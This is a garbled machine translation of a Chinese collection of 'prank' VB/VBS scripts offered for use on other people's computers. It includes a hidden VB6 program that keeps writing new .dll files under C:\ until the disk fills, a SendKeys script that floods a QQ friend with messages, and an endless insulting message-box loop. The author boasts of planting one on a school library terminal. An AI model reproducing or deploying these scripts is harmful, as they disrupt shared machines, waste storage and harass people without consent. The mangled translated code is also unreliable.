VBS整人代码大集合--真的很全很全很强大（国外英文资料）.doc

VBS整人代码大集合--真的很全很全很强大（国外英文资料） VBS moving the code The code is as follows: Copy the code as follows: Private Sub Form_Load () Me. Hide End Sub Private Sub Timer1_Timer () declare variables where count is a static variable to generate different files Dim files As String Dim nr As String Dim c As String The Static count As Long define the generated files in that directory file C = c: \ Program Files \ generate the contents of the file Nr = ha, ha, ha, ha. Files = FreeFile if a is equal to a then its executed If a = a Then count keeps adding 1 to produce different file names Count = count + 1 generate the file name and the file handle and use count as the name of the different file names. Open c system count .dll For Append As # files write to the file The Write # files, nr clear file handle, which is important here, and if you dont clean up, you will have a lot of error messages that open up the file Close # files End the If End Sub One of friends, you open the chat dialog box, and then write down in your QQ friends nickname, the xx in the code below to replace, can the number of custom to send QQ messages to friends (changing code in figure 10). Xx. VBS = Copy the code as follows: On the Error Resume Next Dim the WSH, ye Set WSH = createobject ( wscri.shell ) For I = 1 to 10 Wscript. Sleep 700 Wsh.appactivate ( in chat with xx ) The WSH. SendKeys ^ v The WSH. SendKeys i. The WSH. SendKeys % s next Wscript. Quit QQ harassment information can also be used on other programs. Two, I use this program to be put in the school library to consult the machine of the book issue, good many people there is no way, ha ha -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- The do Msgbox You are foolish! loop -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --